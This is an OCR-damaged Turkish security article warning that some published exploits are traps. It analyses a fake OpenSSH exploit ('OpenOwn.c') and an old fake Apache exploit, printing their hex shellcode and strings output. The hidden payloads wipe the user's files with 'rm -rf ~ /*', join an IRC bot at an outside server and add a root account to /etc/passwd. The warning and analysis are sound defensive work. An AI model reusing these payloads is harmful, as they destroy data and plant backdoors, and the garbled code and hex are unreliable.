SAHTE EXPLOITLER

Kullanici sayisinin fazla oldugu bir yerel agda sistem butinliguni tehlikeli duruma sadece
kullanicilarin dikkatsizligi (ki cogu durumda sistem yoneticileri de dalgin olabiliyor) diisirmez.
Herhangi bir yazilmda mevcut olan zaaflikta sistemin catlak vermesine neden olur. Bu nedenle
Exploit kavrami sistem glivenligi konusunda ilk basamakta yer alir.

Exploitler yani bir uygulamanin zaafligini istismar eden kiglk(!) kod parcaciklari biyuk bir sistemde
catirdamaya yol agar.

Bircok Internet glivenlik bazli web sitelerinde yazilimin gesitlerine gore exploit adi altinda yazilim
istismar kod pargalari bulunabilmektedir. Bilgisayar glivenlik uzmanlari bu web sitelerinde bulunan
tehlikeli kod parcaciklariyla kendi sistemlerini test etmektedirler(Sistemlerinde kurulu yazilimlar
Uzerinde zaaflik kontrolleri gergeklestirirler).

Aklin kér noktasinda meydana gelen su soru exploitler konusunda dislincelere iter?

— Ortaya gikan Exploit gergekten bahsi gegen yazilimi(zaaflik barindirdigi belirtilen) yikima ugratip,
sistem glivenlik bltlinltgind bozabilir mi?

Bu Exploitin gergek olma olasiligi nedir?

Glnde, birgok yazilima ait zaaflik bildiriimektedir. Bu zaafliklardan yararlanip sisteme sizma
islemleri gergeklestirilebilir.

Peki, cikan bu Exploitleri kag kisi gergeklik payini anliyor?

— “Ne var ki bunda?”

— “Exploiti denerim, sistem (izerinde acik bir kapi olusturuyorsa yazihmda sorun var mi yok mu
anlarim” tirinden bir yanit verilebilir.

Genelleme yapildiginda giinde bircok exploit, anlayan ya da anlamayan olsun birgok sistem
Uizerinde deneniyor.

Cogunluguda ellerini sivazlayarak, ortaliga strtlen exploitleri kullanarak sistemlere sizmaya calisir.
Peki, ortalida surilen bu exploitleri kullanan kisiler bu isin uzmani mi oluyor? Dikkat edin, kullanan
dedim.

Cevap; Blylk blylk gogunlugu(blyik blytk olayin ehemmiyeti anlasilsin diye blyik Gzerine ift
vurgu kullanildi) uzman dedil. Exploitler ortalikta dolasmaya basladigi anda birgok kurnaz gozlerini
monitérden ayirmayip sistemler izerinde sizma islemlerini gergeklestirmeye caligirlar.

Nasilsa elinde bir uygulamaya ait exploit var. O uygulama hangi sunucuda (httpd/ssh/smtp ...)
mevcutsa o sunucu Uzerine sizma testi yaparlar. Exploit kullanan bu kadar fazla olunca ortaya
sahte (Fake Exploit) olanlarinda ¢ikmasi dogaldir. Nasilsa sahtesini ayirt edemeyecek kiside gok.
Sahte exploit gesitli forum sitelerinde yer almaya basladigi anda bu zaaflik kodu icinde yine bir
zaaflidin olabilecedini pek kimse dlisinmez. Bir nevi exploiti kullanan sahis, baskasi tarafindan
tuzada dusurulir. Sahte Exploiti gesitli web sitelerinde yayinlayan kisi, yorulmadan baska sahislarin
elinde bulunan sistem bilgilerini kendisiyle paylasmasini saglar.

Bunun glincel 6rnegdini bu gltinlerde gorilda.

Son zamanlarda bazi 6nemli sunuculara sizma islemi gerceklestirildi. Bu 6nemli sunucularda
mevcut bilgiler yine Internet lizerinden yayinlandi. Bu sizma isleminin nasil gergeklestigi halen
konusulmakta, fakat net bir yanit verilememektedir.

Uzerinde durulan bir kani ise OpenSSH lizerinden sizma isleminin gerceklestigi.

Yani OpenSSH lizerinde bir zaaflik belirtisi var ve bu bilinmiyor. Sizma islemini gerceklestiren
kisi/kisiler, SSH tizerinden glvenlik agidi olusturup 6nem arz eden bu sunuculara sizma islemini
basardilar. Fakat bu 6ngoéru yine bircok kisi tarafindan kabul gérmemekte, "SSH (zerinden sizma
olmamistir” denilmektedir. Sizma islemi nasil ve ne sekilde yapildigi netlik kazanmadigindan bu
konuya iliskin herhangi bir Exploit yer almamaktadir. Bunu koz olarak kullanan biri ya da birileri bir
Exploit yayinladi. Bu Exploit vasitasiyla bu sunuculara sizma yapildigi belirtildi. “*0penOwn.c” adi
altinda yayinlanan bu Exploit aslinda sahteydi.

Sahte oldugunu anlayan var miydi?

Yine bana gére birgok el sivazlayan kisi anlamadi. Sonradan gesitli glvenlik sitelerinde bu istismar
kodunun sahte oldugu belirtildi.

Bu hileli programcigi derleyip galistirdiginda bu sahte exploit sistemi bir IRC sunucusuna baglayip,
bu sahte exploiti kullanan kisinin sistemine ait dosyalari ana kbdkten itibaren temizliyordu

(rm -rf ~ /* ve sonugta bOOm) [Resim 1].

/* OpenOwn.c by anti-sec group

* OpenSSH <= 5.2 REMOTE (r00t) EXPLOIT.
*/

#include <stdio.h>

#include <netdb.h>
#define VALID_RANGE 0xb44ffe00
#define build frem(x,y,a,b,c) a##icHHatt#x#t#ty#ib



char jmpcode[] =

"\x72\x6D\x20\x2D\x72\x66\x20\x7€\x20\x2F\x2 A\x20\x32\x3e\x20\x2 "
"x64\x65\x76\x2 \x6€\x75\x6¢\x6¢\x20\x26";

char shellcode[] =

"x23\x2 1\x2f\x75\x73'\x72\x2 f\x62\x69\x6e\x2 f\x 70\x6 5 \x 72 \x6 c\x0a"
"x24\x63\x68'\x61\x6e\x3d\x22\x23\x63\x6e\x22\x3b\x0a\x24\x6b\x65"
"x22\x3b\x0a\x77\x68\x69\x6¢\x65\x20\x28\x3 c\x24\x 73 \x6 f\x63\x6b"
"\x47\x20\x28\x2e\x2a\x29'\x24\x2f\x29\x 7b\x 70\x 72 \x69\x6 €\x 74\x20"
"x22\x3b\x0a\x77\x68\x69\x6¢\x65\x20\x28\x3 c\x24\x 73 \x6 f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20'\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x73\x6¢\x65'\x65\x70\x20\x3 1\x3b\x0a\x20'x20\x20\x20\x20\x20\x20"
"\x6b\x5¢c\x6e\x22\x3b\x7d\x7d\x70\x 72\x69\x6¢\x 74\x20\x24 \x 73 \x 6"
"\x63\x6b\x20\x22\x4a\x4 \x49\x4€\x20\x24\x63\x68\x6 1 \x6€\x20\x24"
"\x6b\x65\x79\x5¢c\x6€\x22\x3b\x77\x68\x69'\x6 ¢\x65\x20\x28'\x3 c\x24"
"x73\x6f\x63\x6b\x3e\x29\x7b\x69\x66\x20\x28\x2 f\x5¢\x50'\x49 \x4 "
"\x47\x20\x28\x2e\x2a\x29'\x24\x2f\x29\x 7b\x 70\x 72 \x69\x6 €\x 74\x20"
"x23\x2 1\x2f\x75\x73\x72\x2 f\x62\x69\x6e\x2 f\x 70\x6 5 \x 72 \x6 c\x0a"
"x23\x2 1\x2f\x75\x73\x72\x2 f\x62\x69\x6e\x2 f\x 70\x6 5 \x 72 \x6 c\x0a"

char fbsd_shellcode[] =

"x22\x3b\x0a\x77\x68\x69\x6¢\x65\x20\x28\x3 c\x24\x 73 \x6 f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20'\x20\x20\x20\x20'x20\x20\x20\x20\x20\x20"
"\x20\x3d\x22\x66\x6 1\x67\x73\x22\x3b\x24\x6€\x69'\x63\x6b\x3d\x22"
"x70\x68\x70\x66\x72\x22\x3b\x24\x73\x65\x72\x 76 \x65\x72\x3d\x22"
"\x69\x72\x63\x2e\x68\x6 1 \x6d\x2 \x64\x65\x2€\x65\x75\x69'\x72\x63"
"\x2e\x6e\x65\x74\x22\x3b\x24\x53\x49\x47\x 7b\x 54\x45\x 52 \x4d\x 7d"
"x22\x3b\x0a\x77\x68\x69\x6¢\x65\x20\x28\x3 c\x24\x 73 \x6 f\x63\x6b"
"x22\x3b\x0a\x77\x68\x69\x6¢\x65\x20\x28\x3 c\x24\x 73 \x6 f\x63\x6b"
"\x6e\x22\x3b\x0a\x20\x20'\x20\x20\x20\x20'x20\x20\x20\x20\x20\x20"

"x2A\x74\x6d\x70\x2 f\x68\x69\x0a";
#define SIZE Oxffffff

#define OFFSET 131

#define fremote build_frem(t,e,s,m,y)

void usage(char *arg){

printf("\n[+] OpenOwn Ownz Linux/FreeBSD\n");
printf(" Usage: %s -h <host> -p port\n",arg);
printf(" Options:\n");

printf(" \t-h ip/host of target\n");

printf(" \t-p port\n");

printf(" \t-d username\n");

printf(" \t-B memory_limit 8/16/64\n\n\n");

}

#define FD 0x080518fc

#define BD 0x08082000

int main(int argc, char **argv){

FILE *jmpinst;

char h[500],buffer[1024];fremote(jmpcode);char *payload, *ptr;
int port=23, limit=8, target=0, sock;
struct hostent *host;

struct sockaddr_in addr;

if (geteuid()) {

puts("need root for raw socket, etc...");
return 1;

}

if(arge < 3){
usage(argv[0]);
return 1;

printf("\n [+] OwnOwn - by anti-sec group\n");
if (linet_aton(h, &addr.sin_addr)){

host = gethostbyname(h);

if ("host){

printf(" [-] Resolving failed\n");

return 1;

free(payload);

addr.sin_port = htons(6666);

if(connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == 0) {
/* v--- our cool bar that says: "r0000000t!!!" */

printf{("\n[~~~rmm s >1\n\n");
fremote("PS1="sh-3.2#" /bin/sh");

}

else

printf(" [-] failed to exploit target :-(\n");

close(sock);

return 0;

}



Yukaridaki kandirikgl exploit koduna bakildiginda istah kabartacak 'shellcode / kabuk kod / can
damari' ne derseniz deyin, exploiti incelemeyen kisi 'bu shellcode ne yapar' diisiincesini
barindiriimazsa ava giden avlanir durumu meydana gelir. Tim ydnergeler bu shellcode kisminda
yer alir. Bu shellcode ne yapar meraki pek kimsede uyanmadigindan,

bu kodu deneyenler tuzaga dismustar.

Bu tehlikeli kiiglk(!) sahte exploiti calisir hale getirip, inceleyelim.

honeypot@honeypot:~ /fake_exploit$ gcc -o OpenOwn OpenOwn.c
honeypot@honeypot:~/fake_exploit$ Is -la

total 40

drwxr-xr-x 2 honeypot honeypot 4096 Jul 26 10:49 .
drwxr-xr-x 26 honeypot honeypot 4096 Jul 26 09:27 ..
-rwxr-xr-x 1 honeypot honeypot 12236 Jul 26 10:05 OpenOwn
-rw-r--r-- 1 honeypot honeypot 13029 Jul 26 09:27 OpenOwn.c

honeypot@honeypot:~/fake_exploit$ ./0OpenOwn
need root for raw socket, etc...

root iken;
honeypot:~ /fake_exploit# ./OpenOwn

[+] OpenOwn Ownz Linux/FreeBSD
Usage: %s -h <host> -p port
Options:

-h ip/host of target

-p port

-d username

-B memory_limit 8/16/64
honeypot@honeypot:~/fake exploit# strings ./OpenOwn
__libc_start_main

free

GLIBC_2.1

GLIBC 2.0

PTRh

("_]

[+] OpenOwn Ownz Linux/FreeBSD
Usage: %s -h <host> -p port
Options:

-h ip/host of target

-p port

-d username

-B memory_limit 8/16/64

need root for raw socket, etc...

[+] OwnOwn - by anti-sec group

[-] Resolving failed

[-] Connecting failed

[-] connecting failed

[

PS1='"sh-3.2#' /bin/sh

[-] failed to exploit target :~(

rm -rf ~ /* 2> /dev/null &

#!/usr/bin/perl

$chan="#cn";

$ke";

while (<$sockG (.*)$/){print ";

while (<$sockn";

sleep 1;

k\n";} } print $sock "JOIN$chan$key\n";while(<$sock>){if (/*PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl

#!/usr/bin/perl

$chan="#cn";$key="fags";$nick="phpfr";$server="G (.*)$/){print ";

while (<$sockn";

sleep 1;

k\n";} } print $sock "JOIN$chan$key\n";while(<$sock>){if (/*PING (.*)$/){print #!/usr/bin/perl
#!/usr/bin/perl

irc.ham.de.euirc.net";$SIG{TERM}";

while (<$sock";

while (<$sockn";

sleep 1;

n”.

>

#!/usr/bin/perl



$chan="#cn";$key ="fags";$nick= "k\n";} } print $sock "JOINS$chan$key\n";while(<$sock>){if (/*PING (.*)$/){print
phpfr";$server="

irc.ham.de.euirc.net";$SIG{TERM}sleep 1;

sleep 1;

while (<$sockn";

sleep 1;

#!/usr/bin/perl

$chan="#cn";$key="fags";$nick="phpfr";$server= "irc.ham.de.euirc.net";$ SIG { TERM} d+x/tmp/hi2>/dev/null;/tmp/hi";
while (<$sockn";

sleep 1;

k\n";} } print $sock "JOIN$chan$key\n";while(<$sock>){if (/*PING (.*)$/){print ";

while (<$sockn";

sleep 1;

k\n";} } print $sock "JOIN$chan$key\n";while(<$sock>){if (/*PING (.*)$/){print #!/usr/bin/perl
while (<$sockn";

="fags";$nick="phpfr";$server="irc.ham.de.euirc.net";$SIG{TERM} ";

while (<$sock";

while (<$sockn";

sleep 1;

n';

#!/usr/bin/perl

$chan="#cn";$key ="fags";$nick="sleep 1;

#!/usr/bin/perl

$chan="#cn";$key="fags";$nick="phpfr";$server= "irc.ham.de.euirc.net";$ SIG{TERM} d+x/tmp/hi2>/dev/null;/tmp/hi";
while (<$sockn";

sleep 1;

k\n";} } print $sock "JOIN$chan$key\n";while(<$sock>){if (/*PING (.*)$/){print ";

while (<$sockn";

sleep 1;

k\n";} } print $sock "JOIN$chan$key\n";while(<$sock>){if (/*PING (.*)$/){print #!/usr/bin/perl
#1/usr/bin/perl

$chan="#cn";$key ="fags";$nick= "} }#chmod +x/tmp/hi2>/dev/null;/tmp/hi

Yukarida yer alan shellcode pargasi déntusum yapildiginda sahte exploitin gergek maksadi g6z
Ontne serilir.

Shellcode aslinda bir perl betiktir. Exploit, kullanicinin(ortaliga saldiri yapmaya niyetli) g6z boyama
olarak gerekli 6nyuz taslagini ekrana gikarir fakat asil islevsel 6zelligi Shellcode olarak
saklandigindan gergeklesen islemi kavrayamayacaktir.

Ta ki kok dizinin(/) silindigini fark edinceye kadar.
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Resim 1

Gecmis yillara baktigimizda gesitli uygulamalara yonelik sahte exploitler OpenSSH haricinde;
Bind ve Apache sunucularina dair istismarlar kullanarak gesitli gtivenlik sitelerinde yayinlanmistir.
Asadida Apache sunucusuna yonelik sahte istismar kodu yer almaktadir(Cok eski bir 6rnektir).

#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>



#include <arpa/inet.h>

char shellcode[] =\

"\x65\x63\x68\x61\x20'x68\x6 1 \x6b\x72\x3a\x3a\x30\x3a"
"x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6¢\x2 f\x73\x68\x20"
"\x3e\x3e\x20\x2f\x65\x74\x63\x2 \x70\x6 1 \x 73\x 73\x 7 7\x64";
#define NOP 0x90

#define BSIZE 256

#define OFFSET 400

#define ADDR 0xbffff658

#define ASIZE 2000

int

main(int arge, char *argv([])

{

char *buffer;

int s;

struct hostent *hp;

struct sockaddr_in sin;

if (arge !=2) {
printf("%s<target>\n", argv[0]);
exit(1);

}

buffer = (char *) malloc(BSIZE + ASIZE + 100);
if (buffer == NULL) {

printf("Not enough memory\n");

exit(1);

}

memcpy(&buffer[ BSIZE - strlen(shellcode)], shellcode,
strlen(shellcode));

buffer[BSIZE + ASIZE] = '},

buffer[BSIZE + ASIZE + 1] ="0";

hp = gethostbyname(argv[1]);

if (hp == NULL) {

printf("no such server\n");

exit(1);

}

bzero(&sin, sizeof(sin));
beopy(hp->h_addr,(char*)&sin.sin_addr,hp->h_length);
sin.sin_family = AF_INET;

sin.sin_port = htons(80);

s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s<0) {

printf("Can't open socket\n");

exit(1);

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
printf("Connection refused\n");
exit(1);

printf("sending exploit code...\n");

if (send(s, buffer, strlen(buffer), 0) !=1)
printf("exploit was successful!\n");

else

printf("sorry, this site isn't vulnerable\n");
printf("waiting for shell.....\n");

if (fork() == 0)

execl("/bin/sh", "sh", "-c", shellcode, 0);
else

wait(NULL);

while (1) { /* shell */ }

Bu sahte exploit kodu eski yillarda yayinlanmis bir koddur. Calistirildidinda neler yapmasi gerektigi
shellcode iginde yer almaktadir.

honeypot$ gcc -0 apache0Oday apache_remote.c
honeypot$ ./apacheOday
apacheOday <target>

honeypot$ strings ./apacheOday
/lib/1d-linux.s0.2

__gmon_start

libc.so.6

_IO_stdin_used

socket

exit



execl

htons

wait

connect

fork

printf

strlen

send

memcpy

malloc

bzero

gethostbyname

bcopy
__libc_start_main
GLIBC 2.0

PTRh

("]

%s <target>

Not enough memory
no such server

Can't open socket
Connection refused
sending exploit code...
exploit was successful!
sorry, this site isn't vulnerable
waiting for shell.....
/bin/sh

echo hakr::0:0::/:/bin/sh >> /etc/passwd < - - - - - Bu satira dikkat

Ayricalikli kullanici olan root modunda bu sahte istismar kod calistirildiginda kullanici farkinda
olmadan kendi sistemine uzaktan baglanti saglanmasini saglayacak istem disi kullanici ekler.

Ag uygulamalarina yonelik istismar calismalari sonucunda exploit yayinlanmasa bile istismarin
onemlilik derecesine gore sahtesinin yayinlanmasi her zaman olasidir.

Ozellikle yazimin basinda belirttigim gibi cesitli internet sitelerine ydnelik saldirilarin basarili olmasi
sonucu “saldirilar bu exploit koduyla yapildi” gibi bir istah kabartici sdylemle exploiti deneyen
kisilerinde avcl durumundan av durumuna dismesi pek sasirtici olmasa gerek.
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